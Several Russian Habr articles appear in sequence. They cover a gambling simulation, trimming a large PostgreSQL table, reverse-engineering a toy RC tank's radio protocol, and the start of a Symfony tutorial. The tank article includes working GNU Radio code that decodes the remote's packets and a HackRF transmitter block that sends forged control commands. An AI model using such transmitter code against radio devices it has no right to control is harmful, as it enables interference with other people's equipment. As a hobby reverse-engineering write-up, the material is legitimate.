Получается, что если купить билетов на миллион, выигрыш составит 250тыс. “Суперприз” в симуляции так не разу и не выпал, хотя теоретически, он конечно возможен. Кстати, как написано в правилах, призовой фонд составляет 50% с проданных билетов, но “суперприз” выпадает далеко не всегда, так что как и в случае с казино, организаторы разумеется, всегда в выигрыше.
Игровые автоматы
----------------
Тоже работают на (псевдо)случайном принципе, «псевдо» т.к. код в них давно программный и чистой механики там почти нет. Общие принципы, описанные выше, для игровых автоматов тоже работают, да и графики скорее всего, не будут отличаться, желающие могут дописать функцию симуляции самостоятельно.
[Хорошая статья](https://geektimes.ru/post/290727/) по конструкции игровых автоматов уже была на Geektimes.
Заключение
----------
Наверное эта статья не открыла америку для многих, но на графиках оно в принципе нагляднее. Интереснее оказалось сравить принципиально разный психологический подход к игре. В лотерее выигрыши потенциально велики, но весьма редки. В казино подход обратный — ставки настроены так, что человек будет выигрывать максимально часто. Условно, сделав 10 игр в казино, человек выиграет 4 раза и проиграет 6 раз. Это позволяет игроку не терять интерес к игре, но в любом случае общий баланс остается негативным — человек будет много раз выигрывать, но и *чуть-чуть больше* проигрывать.
Наверно это и так очевидно, но речь в статье идет только об играх, основанных на случайности, не о покере, картах, шахматах и пр. Может ли существовать «выигрышная стратегия» в таких случайных играх? Очевидно нет, т.к. ни кость, ни шарик, ни лотерейные билеты, не имеют памяти, и их поведение не зависит от предыдущих итераций. Кстати, этот момент важно запомнить — интуитивно, проиграв несколько раз, человек может решить, что вот сейчас-то он “точно” выиграет. Увы нет — рулетка или кубик не имеют памяти, и “не знают” о количестве предыдущих попыток, каждая игра по сути начинается с чистого листа.
Отвечая на вопрос заголовка статьи — можно ли выиграть в азартные игры? Как показывает, симуляция, в принципе можно, теория вероятности допускает. Но недолго — стоит начать играть 2й, 3й,… Nй раз, как баланс пойдет вниз. В долгосрочной перспективе выиграть у казино невозможно.
PS: Для желающих поэкспериментировать, исходный код одним файлом выложен под спойлер. Его можно запустить в онлайн Python IDE, например [здесь](https://repl.it). Чтобы протестировать европейский вариант рулетки вместо американского, достаточно в коде поменять 38 на 37. Данная симуляция является достаточно базовой, и не учитывает различных дополнительных факторов, таких как количество денег у игрока или лимит ставок в казино, желающие могут добавить все это самостоятельно. Под спойлером также можно посмотреть видеоверсию данной статьи.
**Видео**
**Исходный код**
```
import random
def craps():
point = 0
while True:
val = shoot()
# print " Dice roll:", val
if point == 0:
# First move
if val == 7 or val == 11:
return True
if val == 2 or val == 3 or val == 12:
return False
point = val
else:
# 2..N move
if val == 7:
return False
if val == point:
return True
def move_roulette1():
val = random.randint(1,38)
if val == 37 or val == 38:
return False
return val % 2 != 0
def move_roulette2(num):
val = random.randint(1,38)
return val == num
def move_roulette3(num1, num2):
val = random.randint(1,38)
return val == num1 or val == num2
def lotto(values):
balls = range(1,46)
b1 = balls.pop(random.randint(0, len(balls)-1))
b2 = balls.pop(random.randint(0, len(balls)-1))
b3 = balls.pop(random.randint(0, len(balls)-1))
b4 = balls.pop(random.randint(0, len(balls)-1))
b5 = balls.pop(random.randint(0, len(balls)-1))
b6 = balls.pop(random.randint(0, len(balls)-1))
s = [b1,b2,b3,b4,b5,b6]
res = list(set(s) & set(values))
return len(res)
money_total = 100
steps = 100
win = 0
loss = 0
for p in range(steps):
bet = 1
step = move_roulette1()
if step is True:
money_total += bet
win += 1
else:
money_total -= bet
loss += 1
print "Step", p+1, "Bet", bet, "Result", step, "Win", win, "Loss", loss, "Money total", money_total
``` | https://habr.com/ru/post/411209/ | null | ru | null |
# Обрезаем большую таблицу PostgreSQL в production
Всем привет. Меня зовут Олег, я техлид в команде разработки CRM для менеджеров ипотечного кредитования в Домклике.
Сегодня я хотел бы поделиться рецептом по обрезанию большой таблицы PostgreSQL в production. Пример: мы имеем в продовой БД достаточно большую таблицу с именем task (несколько сотен миллионов строк) с устаревшими данными, которые нам уже не нужны. Точнее, они мешают — БД долго дампится, а индексы становятся неэффективными. Мы хотим обрезать эту таблицу (удалить старые строки ранее определенной даты). Для простоты предположим, что в базе нет входящих foreign key на таблицу task (при их наличии решение задачи немного усложняется).
Структура таблицы такая (упрощенный пример):
Решение в лоб (`delete from task where id < 1234567`) работает очень долго из-за большого количества индексов и ограничений в таблице и нас не устраивает. В нашем случае скорость удаления составляла 10 000 строк в минуту (нужно было удалить около 100 млн строк).
С учетом того, что данные запросы мы могли бы выполнять только в ночное время, чистка таблицы этим способом заняла бы около месяца.
Более быстрый алгоритм (который позволил достичь нам очистить таблицу всего за час):
1. Создаем новую таблицу task\_new, в которую перенесем актуальные строки:
`CREATE TABLE task_new LIKE tasks;
ALTER TABLE task_new ADD PRIMARY KEY (id);`
2. Запускаем триггер для обновления новой таблицы.
3. Запускаем скрипт для переноса актуальных строк.
4. Добавляем индексы и ограничения для новой таблицы.
5. Меняем таблицы местами.
---
### Шаг 1. Создание новой таблицы
Новую таблицу создаем на основе текущей (вместе с типами данных, ограничениями на NULL и значениями по умолчанию). Индексы и ограничения навесим позднее, чтобы не замедлять копирование данных.
```
CREATE TABLE task_new (LIKE task INCLUDING DEFAULTS);
ALTER TABLE task_new ADD PRIMARY KEY (id);
```
### Шаг 2. Запуск триггера
Далее нам нужно задать триггер, который будет обновлять данные в соответствии с исходной таблицей (команды *insert/update/delete*).
```
create or replace function task_replication_trg_func()
returns trigger
AS $func$
begin
if TG_OP = 'INSERT' then
insert into task_new(
id,
created,
updated,
status,
json_data,
project_id,
service_id,
error
)
values (
NEW.id,
NEW.created,
NEW.updated,
NEW.status,
NEW.json_data,
NEW.project_id,
NEW.service_id,
NEW.error
);
elsif TG_OP = 'UPDATE' then
update task_new set
created = NEW.created,
updated = NEW.updated,
status = NEW.status,
json_data = NEW.json_data,
project_id = NEW.project_id,
service_id = NEW.service_id,
error = NEW.error
where id = NEW.id;
elsif TG_OP = 'DELETE' then
delete from task_new
where id = OLD.id;
end if;
return NULL;
end;
$func$ LANGUAGE plpgsql;
create trigger task_replication_trg
after insert or update or delete on task
for each row EXECUTE PROCEDURE task_replication_trg_func();
```
### Шаг 3. Запуск скрипта для переноса строк
После запуска триггера нам нужно запустить скрипт, который перенесет остальные актуальные данные из текущей таблицы в новую.
Скрипт (написан на Python 3) доступен под катом.
```
import time
from argparse import Namespace, ArgumentParser
from urllib.parse import urlparse
import psycopg2
def main():
args = parse_args()
copy_rows_to_new_table(
args.table_name,
args.conn_str,
args.first_row_id,
args.first_trigger_id,
args.sleep_ms,
args.chunk_size
)
def copy_rows_to_new_table(table_name: str,
conn_str: str,
first_row_id: int,
first_trigger_id: int,
sleep_ms: int = 1000,
chunk_size: int = 10000):
"""
Алгоритм работы:
1. создаем table_name_new (на основании table_name) - без индексов и констрейнтов
create table if not exists table_name_new (like table_name);
добавляем индекс и ограничние на PK
Алгоритм шага переноса (на вход - start_id и first_trigger_id)
1. Получаем start_id - id записи для текущего цикла переноса
select max(id) from table_name_new where id < %first_trigger_id%
Если start_id - null, start_id = first_row_id - 1
2. выбираем 10к записей по условие start_id < id < first_trigger_id
with rows as (
insert into table_name_new (
select * from table_name
where id > :start_id: and id < :first_trigger_id:
limit :chunk_size:
) returning 1
) select count(*) from rows;
3. Если кол-во вставленных строк из п.2 < chunk_size - выходим
:return:
"""
new_table_name = f"{table_name}_new"
conn = None
try:
conn = get_connection(conn_str)
create_table(conn, table_name, new_table_name)
total_inserted = 0
while True:
time.sleep(sleep_ms / 1000)
start_id = get_start_id(conn, new_table_name, first_row_id, first_trigger_id)
inserted_rows = insert_chunk_rows(conn, table_name, new_table_name, start_id, first_trigger_id, chunk_size)
total_inserted += inserted_rows
print(f'inserted {total_inserted} rows')
if inserted_rows < chunk_size:
return
finally:
if conn:
conn.close()
def insert_chunk_rows(conn,
table_name: str,
new_table_name: str,
start_id: int,
first_trigger_id: int,
chunk_size: int) -> int:
query = f"""
with rows as (
insert into {new_table_name} (
select * from {table_name}
where id > %(start_id)s and id < %(first_trigger_id)s
limit {chunk_size}
) returning 1
) select count(*) from rows;
"""
with conn:
with conn.cursor() as cursor:
cursor.execute(query, {'start_id': start_id, 'first_trigger_id': first_trigger_id})
result = cursor.fetchone()
return result[0]
def get_start_id(conn, new_table_name: str, first_row_id: int, first_trigger_id: int) -> int:
query = f"select max(id) from {new_table_name} where id < %(last_id)s;"
with conn.cursor() as cursor:
cursor.execute(query, {'last_id': first_trigger_id})
result = cursor.fetchone()
return result[0] or first_row_id
def create_table(conn, table_name: str, new_table_name: str):
with conn:
with conn.cursor() as cursor:
cursor.execute(f"SELECT EXISTS (SELECT FROM information_schema.tables WHERE table_name = '{new_table_name}');")
res = cursor.fetchone()
table_exists = res[0]
if not table_exists:
cursor.execute(f"create table {new_table_name} (like {table_name});")
cursor.execute(f"ALTER TABLE {new_table_name} ADD PRIMARY KEY (id);")
def get_connection(connection_str: str):
result = urlparse(connection_str)
username = result.username
password = result.password
database = result.path[1:]
hostname = result.hostname
port = result.port
connection = psycopg2.connect(
database=database,
user=username,
password=password,
host=hostname,
port=port
)
return connection
def parse_args() -> Namespace:
"""
table_name: str,
conn_str: str,
first_row_id: int,
first_trigger_id: int,
sleep_ms: int = 1000,
chunk_size: int = 10000
:return:
"""
parser = ArgumentParser()
parser.add_argument(
"table_name",
type=str,
help=f"target table",
)
parser.add_argument(
"--conn_str",
type=str,
help="connection string (i.e. postgresql://postgres:postgres@localhost/postgres)",
required=True,
)
parser.add_argument(
"--first_row_id",
type=int,
help="start row id to copy",
required=True,
)
parser.add_argument(
"--first_trigger_id",
type=int,
help="first row id, inserted by trigger",
required=True,
)
parser.add_argument(
"--sleep_ms",
type=int,
default=1000,
help="to sleep milliseconds",
)
parser.add_argument(
"--chunk_size",
type=int,
default=10_000,
help="count of rows to insert by loop",
)
args = parser.parse_args()
return args
if __name__ == "__main__":
main()
```
Входные параметры скрипта:
* conn\_str — строка для подключения к БД;
* first\_row\_id — начиная с этого идентификатора мы переносим строки в новую таблицу (можно получить запросом select id from task where created::date = '2020-01-01'::date - interval '1 day' limit 1;);
* first\_trigger\_id — идентификатор первой строки, созданной в новой таблице триггером (можно получить запросом select id from task\_new order by id limit 1);
* sleep\_ms — сколько миллисекунд должен спать скрипт между итерациями;
* chunk\_size — количество строк, переносимых за один раз.
Команда для запуска скрипта:
```
pip3 install psycopg2-binary~=2.8
python3 mastersber_transfer.py task --conn_str=postgresql://{username}:{password}@{host}:{port}/{db_name} --first_row_id={first_row_id} --first_trigger_id={first_trigger_id}
```
### Шаг 4. Добавляем индексы и ограничения
Теперь нам нужно навесить на новую таблицу индексы и ограничения в соответствии со старой.
Получаем запросы для добавления индексов в текущую таблицу (кроме PK):
```
SELECT pg_get_indexdef(indexrelid) || ';' AS idx
FROM pg_index
WHERE indrelid = 'task'::regclass and not indisprimary;
```
Получили набор команд:
```
CREATE INDEX ix_task_status ON public.task USING btree (status);
CREATE INDEX task_project_id_index ON public.task USING btree (project_id);
```
Команды нужно немного преобразовать: добавить ключевое слово CONCURRENTLY, заменить название таблицы на новую и добавить префикс или суффикс “\_new” к названиям индексов:
```
CREATE INDEX CONCURRENTLY new_ix_task_status ON public.task_new USING btree (status);
CREATE INDEX CONCURRENTLY new_task_project_id_index ON public.task_new USING btree (project_id);
```
Теперь получим команды для добавления ограничения для новой таблицы:
```
SELECT 'ALTER TABLE task_new ADD CONSTRAINT ' || conname || ' ' || pg_get_constraintdef(oid) || ';'
FROM pg_constraint
WHERE contype = 'f' AND conrelid::regclass::text = 'task'
ORDER BY conrelid::regclass::text, conname;
```
Получили набор команд (в них ничего менять не нужно):
```
ALTER TABLE task_new ADD CONSTRAINT task_project_id_fkey FOREIGN KEY (project_id) REFERENCES project(id);
ALTER TABLE task_new ADD CONSTRAINT task_service_id_fkey FOREIGN KEY (service_id) REFERENCES service(id);
```
Теперь нужно выполнить в транзакции эти команды:
```
BEGIN;
CREATE INDEX CONCURRENTLY new_ix_task_status ON public.task_new USING btree (status);
CREATE INDEX CONCURRENTLY new_task_project_id_index ON public.task_new USING btree (project_id);
ALTER TABLE task_new ADD CONSTRAINT task_project_id_fkey FOREIGN KEY (project_id) REFERENCES project(id);
ALTER TABLE task_new ADD CONSTRAINT task_service_id_fkey FOREIGN KEY (service_id) REFERENCES service(id);
COMMIT;
```
### Шаг 5. Меняем таблицы местами
Последний этап: нужно поменять таблицы местами, переключить sequence со старой таблицы на новую и удалить триггер.
```
BEGIN;
set statement_timeout = 3000;
set deadlock_timeout = '3s';
ALTER TABLE task_new ALTER COLUMN id SET DEFAULT nextval('task_id_seq');
ALTER SEQUENCE task_id_seq OWNED BY task_new.id;
ALTER TABLE task RENAME TO task_old;
ALTER TABLE task_new RENAME TO task;
DROP TRIGGER IF EXISTS task_replication_trg ON task_old CASCADE;
COMMIT;
-- Если не нужна старая таблица - удаляем ее:
DROP TABLE task_old CASCADE;
```
### Заключение
Таким образом можно быстро очистить большую таблицу от устаревших данных, которые уже не нужны, но ухудшают производительность базы данных.
Если на таблицу есть входящие foreign keys, перед чисткой основной таблицы аналогично чистим ссылающиеся на нее (по условию на колонку c foreign key на нужную).
Если есть вопросы - пишите в комментариях. | https://habr.com/ru/post/546008/ | null | ru | null |
# Реверс-инжиниринг радиоуправляемого танка с помощью GNU Radio и HackRF
Год назад наша CTF-команда на крупном международном соревновании RuCTF в Екатеринбурге в качестве одного из призов получила радиоуправляемый танк.
Зачем команде хакеров игрушечный радиоуправляемый танк? Чтобы его реверсить, конечно.
В статье я расскажу, как при помощи GNU Radio и HackRF One можно c нуля разобраться в беспроводном протоколе управления танком, как декодировать его пакеты и генерировать их программно, чтобы управлять танком с компьютера.
Осмотр подопытного
------------------
Дано:
* Радиоуправляемый танк
* Пульт управления
* Компьютер с установленным пакетом GNU Radio
* HackRF One
Посмотрим сперва на сам пульт.
Правый джойстик пульта отвечает за движение танка: вперед, назад, поворот на месте. У джойстика нет промежуточных положений, то есть ехать медленно не получится. Можно только ехать или не ехать.
Левый джойстик отвечает за поворот башни и стрельбу. "Лево"-"право" поворачивает саму башню в соответствующем направлении. "Вниз" позволяет целиться по вертикали: пока джойстик находится в этом положении, ствол циклически двигается по вертикали вверх-вниз. А чтобы выстрелить, нужно задержать джойстик в положении "вверх" на несколько секунд.
Внизу пульта есть переключатель канала с тремя позициями ("A", "B" и "C"), на днище танка есть такой же.
На пульте есть и несколько других кнопок. На кнопки OK и 123456 танк никак не реагирует. Нажатие на кнопку (/) переводит пульт в какой-то странный режим, в котором танк перестаёт на него реагировать. Повторное нажатие возвращает всё, как было. Скорее всего, этот пульт может использоваться для других кроме танка игрушек, и там эти кнопки уже как-то осмысленно задействованы.
Ну а сзади пульта есть очень полезная для нас наклейка "27.145 MHz".
SDR
---
Вначале посмотрим на радиоэфир при помощи программы gqrx, которая показывает его в виде красивого "водопада", а также позволяет послушать эфир.
Сразу после включения пульт немного "щелкает", а потом просто оставляет заметную тонкую линию постоянного сигнала. При нажатии кнопок и отклонении джойстиков пульт тоже "щелкает". Ну что ж, пульт мы нашли. Но для декодирования этого, конечно, мало. Движемся дальше в GNU Radio Companion, где будем собирать различные схемы для декодирования сигнала.
Соберем нехитрую схему в GNU Radio, которая позволяет настроиться на частоту и визуализировать сигнал.
Попробую, будучи самим не экспертом в SDR, и действовавшему в основном по наитию, объяснить, что происходит.
Во-первых, в качестве источника мы будем использовать элемент RTL-SDR Source, который работает как с совсем дешевыми RTL-SDR, так и с более продвинутыми устройствами типа HackRF One.
Важно то, что настраиваться нужно не ровно на требуемую частоту, а немного в сторону. Это связано с тем, что большинство SDR по чисто аппаратным причинам обладают так называемым DC bias. После настройки на определенную частоту ровно "посередине", на нулевой частоте, будет присутствовать постоянная составляющая, которая выглядит как достаточно мощный постоянный сигнал. Чтобы обойти эту особеннось, достаточно настраиваться немного вбок, а затем, если оно требуется, сдвигать сигнал уже программно. Тогда пик DC bias и исследуемый сигнал будут достаточно разнесены, чтобы не влиять друг на друга.
На скриншоте видно, что в качестве альтернативного источника я использовал файл. Действительно, зачем каждый раз тянуться за пультом, если можно один раз записать и потом просто воспроизводить?
Следующий элемент, *Frequency Xlating FIR Filter*, является комбинированным блоком для переноса сигнала по частоте, фильтрации и децимации. После переноса интересующий нас сигнал оказывается в нулевой частоте, фильтрация отбрасывает неинтересные нам частоты, где находятся DC bias и прочие шумы, а децимация понижает частоту дискретизации. С сигналом низкой частоты дискретизации проще и эффективнее работать (попросту требуется меньше ресурсов CPU). Сейчас я, к сожалению, не могу вспомнить, из каких рандомных блогов и каких соображений я подобрал такие значения для фильтра [low\_pass](http://gnuradio.org/doc/doxygen/classgr_1_1filter_1_1firdes.html#a772eb5c542093d65518a6d721483aace), но они работают достаточно хорошо: `firdes.low_pass(1.0, samp_rate, samp_rate / decimation * 0.4, 2e3)`.
Хинт: в GNU Radio можно использовать в качестве переменных-параметров блоков виджеты типа *QT GUI Range* (просто указывая их ID вместо константы), и тогда эти параметры можно будет регулировать интерактивным виджетом прямо во время работы схемы.
Ну и в конце схемы стоит универсальный *QT GUI Sink* для визуализации сигнала разными способами.
После запуска схемы мы увидим такую картину на вкладке *Waterfall Display*:
Поднастроим `freq_offset` так, чтобы сигнал был как можно ближе к нулю. Сигнал всё равно будет немного плавать по частоте, и от этого, видимо, никуда не деться. Но это не помешает нам в дальнейшем.
И теперь откроем вкладку *Time Domain Display*. Поигравшись немного с *FFT Size* внизу, можно получить в итоге такую картину:
Опа! Да это похоже на биты!
Итак, всё, что мы сделали — это настроились на частоту. То есть перед нами самая обычная амплитудная модуляция.
Комплексная составляющая сбивает с толку, и по графику интуитивно видно, что она здесь не нужна. Нам нужен модуль числа. Выделим его при помощи блока *Complex to Mag* и посмотрим график ещё раз:
Уже гораздо лучше. Тут сразу видно два логических уровня — "0" на отметке около 0.4, и "1" на отметке 1.3. Ну и всё это разбавлено небольшим шумом, конечно. Хочу обратить внимание, что этот "0" не "абсолютный", а тоже передаётся пультом. Если пульт выключить вообще, сигнал просядет с 0.4 до 0.
Давайте разбираться с этим "фреймом". Сравнительно длинный "1" и следующий за ним "0" — видимо, специальные стартовые биты для синхронизации.
Значение бита кодируется длиной "0" от одной "1" до следующей: короткий "0" — логический ноль, длинный "0" — логическая единица. В одном фрейме, как видно, 16 бит.
Декодирование команд
--------------------
Теперь можно написать специальный блок для GNU Radio на Python, который будет декодировать фремы и писать их в консоль. Исходники блоков типа *Python Block* можно редактировать, не выходя из GNU Radio Companion! Очень удобно.
Не буду заострять внимание на коде, желающие могут посмотреть его под спойлером. А итоговая схема декодирования сигнала получилась такая:
**Блок GNU Radio для декодирования пакетов**
```
import os
import sys
import numpy as np
from gnuradio import gr
class blk(gr.sync_block):
def __init__(self, samp_rate=0.0):
"""arguments to this function show up as parameters in GRC"""
gr.sync_block.__init__(
self,
name='Shitty Tank Decoder', # will show up in GRC
in_sig=[np.int8],
out_sig=[]
)
self._samp_rate = samp_rate
self._sync_threshold = samp_rate / 1000
# for tracking state across buffers
self._last_idx = 0
self._last_level = 0
# for state machine
self._state_machine = None
self._last_event = None
self._last_cmd = None
def start(self):
self._log = sys.stderr
return True
def _on_edge(self, ts, is_raising):
if self._state_machine is None:
self._state_machine = self._state_machine_gen()
self._state_machine.send(None)
elif ts - self._last_event > self._sync_threshold * 10:
if not is_raising:
# stuck on high level? weird
return
# reset state machine
self._state_machine = self._state_machine_gen()
self._state_machine.send(None)
self._state_machine.send(ts)
self._last_event = ts
def _state_machine_gen(self):
while True:
raising = yield
falling = yield
sync_length = falling - raising
if sync_length < self._sync_threshold:
continue
#print >>sys.stderr, "Sync length", sync_length, "samples"
if self._last_cmd is not None:
pass
#print >>sys.stderr, "Intercommand delay", raising - self._last_cmd
res = []
raising = yield
sync_length_low = raising - falling
#print >>sys.stderr, "Sync low length", sync_length_low, "samples"
while len(res) < 16:
falling = yield
#print >>sys.stderr, "peak length", falling - raising
raising = yield
if raising - falling < sync_length_low // 6:
continue
#print >>sys.stderr, "low length", raising - falling
res.append([0, 1][int(raising - falling > sync_length_low // 3)])
falling = yield
cmd = "".join(str(x) for x in res)
print >>self._log, cmd
self._last_cmd = falling
def work(self, input_items, output_items):
data = input_items[0]
if self._last_level is not None:
data = np.insert(data, 0, self._last_level)
else:
self._last_idx = 0
edges = np.diff(data)
edge_indices = np.where(edges != 0)[0]
for i in edge_indices:
self._on_edge(self._last_idx + i, edges[i] > 0)
self._last_idx += len(data)
self._last_level = data[-1]
return len(input_items[0])
```
Вообще схема получилась весьма неидеальная. Разделение "0" и "1" по константному порогу 0.5 приводит к тому, что схема вообще не работает, когда пульт находится слишком далеко или слишком близко. Дальнейшим экспериментам это не помешало, и вообще я эту особенность заметил только спустя полгода, когда стал писать эта статью. Но я буду признателен, если кто-то подскажет, как это делается правильно.
Разберёмся же, что значат биты в этом протоколе. Будем считать, что данные передаются в порядке MSB, то есть от старших бит к младшим (это лишь вопрос соглашения, не более того).
Во первых, три младших бита отвечают за канал. 000 — А, 010 — B, 100 — C. Это было несложно проверить экспериментально.
Однократное отклонение левого джойстика влево генерирует такую последовательность команд (здесь и далее канал будет A):
```
0000010000000000
0000010000000000
0000000011110000 # <- повторяется порядка 20 раз
```
Отклонив и задержав джойстик, мы получаем такое:
```
0000010000000000
0000010000000000
0001010000000000 # <- повторяется пока мы держим джойстик
0000000011110000 # <- повторяется порядка 20 раз
```
Для всех других направлений паттерн получается похожий: старшие три бита остаются неизменными и нулевыми, четвертый бит работает как этакий "флаг повтора", последующие четыре бита отвечают за направление (право, лево, вверх, вниз соответственно). И в самом конце повторяется довольно странно выглядящая команда, по семантике, видимо, означающая "стоп". Эту же команду "стоп" пульт несколько раз транслирует сразу после включения.
С правым джойстиком, отвечающим за перемещение танка, всё несколько интереснее. Напомню, что "вверх"-"вниз" отвечает за движение танка вперед и назад, а "влево"-"вправо" — за поворот на месте. Эти биты идут сразу после предущих, как раз в той позиции, где мы видели 1111 при останове. Изменяются они довольно странным образом. Сможете догадаться, почему именно так?
* 0101 — вперед
* 1010 — назад
* 0110 — влево
* 1001 — вправо
Как и в случае левого джойстика, при повторе выставляется тот же самый четвертый старший бит, и после отпускания идет пакет с четырьмя единицами.
Кнопка ОК посылает команду с зажженым первым старшим битом (то есть 1000000000000000), длительное нажатие порождает такие же команды с флагом повтора. Танк команду игнорирует.
Кнопка (/) переводит пульт в странный режим, где ко всем командам джойстиков (кроме "стоп") добавляются старшие биты 2 и 3. Танк на такие команды, как было сказано в начале, не реагирует. Повторное нажатие на кнопку переводит пульт обратно в исходный режим.
Кнопка 123456 посылает команду "стоп", (которая с 1111 в позиции джойстика движения). Если удерживать кнопку нажатой, выставляется флаг повтора. Зачем она нужна, тоже непонятно.
Назначение четвертого младшего бита выяснить не удалось, он всегда равен нулю.
Два джойстика можно отклонять одновременно, при этом получаются пакеты c ненулевыми битами в обоих полях. С кнопкой ОК это не сочетается, она имеет приоритет над джойстиками.
Резюмируя, общий формат пакетов получается таков:
```
K##RTTTTMMMMxCCC
R - повтор
T - башня (turret)
M - движение (movement)
C - канал (channel)
K - кнопка OK
# - странные биты, на которые влияет кнопка (/)
x - неизвестно
```
Управление танком с компьютера
------------------------------
HackRF One умеет не только принимать сигнал, но и передавать его. Так давайте же попробуем поуправлять танком с компьютера!
Мы увидели, что модуляция сигнала там очень простая. Сгенерировать такой сигнал с помощью GNU Radio будет несложно. Для этого достаточно генерировать последовательность "0" и "1" с нужными задержками и отправлять их в *osmocom Sink*, который отправляет их прямиком в эфир.
Приведённый ниже под спойлером блок умеет передавать только команды движения, но его несложно расширить для поддержки всего остального.
**Блок для кодирования команд**
```
from __future__ import print_function
import sys
import numpy as np
from gnuradio import gr
LOW_AMPLITUDE = 0.5
HIGH_AMPLITUDE = 1.0
HIGH_PULSE_LENGTH = 1014e-6
LOW_PULSE_LENGTH = 600e-6
PEAK_LENGTH = 140e-6
LOW_LENGTH_ZERO = 150e-6
LOW_LENGTH_ONE = 270e-6
INTERPACKET_PAUSE = 52000e-6
REPEAT_BIT = 0b0001000000000000
CHANNEL_BITS = {
"A": 0b000,
"B": 0b010,
"C": 0b100,
}
# WTF: 0b0010000001010000
def xround(val):
return int(val + 0.5)
def encode_action(channel, forward, backward, left=False, right=False):
value = 0
value |= CHANNEL_BITS[channel]
print(forward, backward, left, right, file=sys.stderr)
if 0:
value |= 0b0000000011110000
elif forward:
value |= 0b1010000001010000
elif backward:
value |= 0b1010000010100000
elif right:
value |= 0b0000000010010000
elif left:
value |= 0b0000000001100000
else:
value |= 0b0000000011110000
return value
def encode_samples(value, sample_rate):
for _ in xrange(xround(HIGH_PULSE_LENGTH * sample_rate)):
yield 1
for _ in xrange(xround(LOW_PULSE_LENGTH * sample_rate)):
yield 0
for i in range(16):
for _ in xrange(xround(PEAK_LENGTH * sample_rate)):
yield 1
bit = (1<<15) & (value << i)
if bit:
for _ in xrange(xround(LOW_LENGTH_ONE * sample_rate)):
yield 0
else:
for _ in xrange(xround(LOW_LENGTH_ZERO * sample_rate)):
yield 0
for _ in xrange(xround(PEAK_LENGTH * sample_rate)):
yield 1
class blk(gr.sync_block):
def __init__(self, sample_rate=1.0, forward=False, backward=False, left=False, right=False, channel="A"):
gr.sync_block.__init__(
self,
name='Tank Control', # will show up in GRC
in_sig=[],
out_sig=[np.float32]
)
if not channel in ("A", "B", "C"):
raise ValueError(channel)
self.sample_rate = sample_rate
self.forward = forward
self.backward = backward
self.left = left
self.right = right
self.channel = channel
def start(self):
self._generator = self._generate_samples()
return True
def _should_tx(self):
return self.forward or self.backward or self.left or self.right
def _generate_samples(self):
while True:
if self._should_tx():
value = encode_action(self.channel, self.forward, self.backward, self.left, self.right)
# output twice without repeat bit
# weird, but that's what remote does
for _ in xrange(2):
for bit in encode_samples(value, self.sample_rate):
yield bit
for _ in xrange(xround(self.sample_rate * INTERPACKET_PAUSE)):
yield 0
value |= REPEAT_BIT
while self._should_tx():
for bit in encode_samples(value, self.sample_rate):
yield bit
for _ in xrange(xround(self.sample_rate * INTERPACKET_PAUSE)):
yield 0
# stop thing
value = encode_action(self.channel, False, False)
for _ in xrange(2):
for bit in encode_samples(value, self.sample_rate):
yield bit
for _ in xrange(xround(self.sample_rate * INTERPACKET_PAUSE)):
yield 0
yield 0
def work(self, input_items, output_items):
output_items[0].fill(LOW_AMPLITUDE)
output_bits = min(len(output_items[0]), int(self.sample_rate / 100))
for i in xrange(output_bits):
output_items[0][i] = HIGH_AMPLITUDE if next(self._generator) else LOW_AMPLITUDE
return output_bits
```
И эта схема действительно успешно управляет танком!
Единственная проблема, с которой я столкнулся и не смог до конца победить — очень значительный лаг. Я смог уменьшить эту проблему путем уменьшения размера буферов (`hackrf,buffers=2` в *Device Arguments* у *osmocom Sink*), а также использованием большой итоговой частоты дискретизации (sample rate). Но неприятный ощутимый лаг, не наблюдающийся при управлении со штатного пульта, всё ещё остался.
Но тем не менее, "proof of concept" был успешно продемонстрирован.
Заключение
----------
Это радиоуправляемый танк работает по очень простому протоколу, который легко реверсится при помощи GNU Radio.
В протоколе используется амплитудная манипуляция с достаточно простым физическим кодированием, где в пакете есть выраженная метка начала, а биты кодируются длиной "0" (низкого уровня).
В каждом пакете есть 16 бит информации, и назначение почти всех этих 16 бит несложно понять просто экспериментируя с пультом.
Собрать схему в GNU Radio Companion, которая бы отправляла команды танку, также оказалось очень несложно. Единственная проблема, которую не удалось побороть до конца — это лаг.
Приложение
----------
* [Схема GNU Radio Companion — декодер](https://koumakan.torlan.ru/tank/tank_reverse.grc)
* [Схема GNU Radio Companion — передатчик](https://koumakan.torlan.ru/tank/tank_reverse_tx.grc)
* [Запись сигнала с работающего пульта](https://koumakan.torlan.ru/tank/foo.raw.xz) | https://habr.com/ru/post/325894/ | null | ru | null |
# Создаем собственный фреймворк на основе Symfony2. (Часть 6)
В шестой части серии, мы научимся использовать компонент HttpKernel.
* [Часть 1](http://habrahabr.ru/blogs/symfony/136110/)
* [Часть 2](http://habrahabr.ru/blogs/symfony/136430/)
* [Часть 3](http://habrahabr.ru/blogs/symfony/136471/)
* [Часть 4](http://habrahabr.ru/blogs/symfony/136656/)
* [Часть 5](http://habrahabr.ru/blogs/symfony/138010/)
* **Часть 6**
Казалось бы, что наш фреймворк уже достаточно целостный, в какой-то мере так и есть, но давайте все-таки взглянем, что можно было бы улучшить.
В данный момент, все наши примеры используют процедурный код, но мы ведь помним, что контроллер может использовать методы объектов, включая статические методы классов. Поэтому давайте превратим наш контроллер в класс:
```
class LeapYearController
{
public function indexAction($request)
{
if (is_leap_year($request->attributes->get('year'))) {
return new Response('Yep, this is a leap year!');
}
return new Response('Nope, this is not a leap year.');
}
}
```
Обновим определение маршрута соответственно:
```
$routes->add('leap_year', new Routing\Route('/is_leap_year/{year}', array(
'year' => null,
'_controller' => array(new LeapYearController(), 'indexAction'),
)));
```
Этот шаг очень прост и возымеет больший смысл, как только вы начнете добавлять страницы. Правда, сразу можно заметить, что Класс ***LeapYearController*** всегда создается, даже если запрашиваемый URL не соответствует маршруту **leap\_year**. Это очень нецелесообразно с точки зрения производительности: теперь на каждый запрос будут инициализированы все контроллеры всех маршрутов. Было бы куда лучше использовать отложенную инициализацию таким образом инициализация контроллеров будет выполняется «по требованию» соответствующего маршрута.
Чтобы решить эту проблему, и ряд других, давайте установим компонент ***HttpKernel***:
```
{
"require": {
"symfony/class-loader": "2.1.*",
"symfony/http-foundation": "2.1.*",
"symfony/routing": "2.1.*",
"symfony/http-kernel": "2.1.*"
}
}
```
Компонент ***HttpKernel*** имеет много интересных функций, но прямо сейчас нам необходима — controller resolver. Она определяет, когда и как выполнятся контроллеру, и какие аргументы ему передать. Все резольверы контроллеров используют следующий интерфейс
```
namespace Symfony\Component\HttpKernel\Controller;
interface ControllerResolverInterface
{
function getController(Request $request);
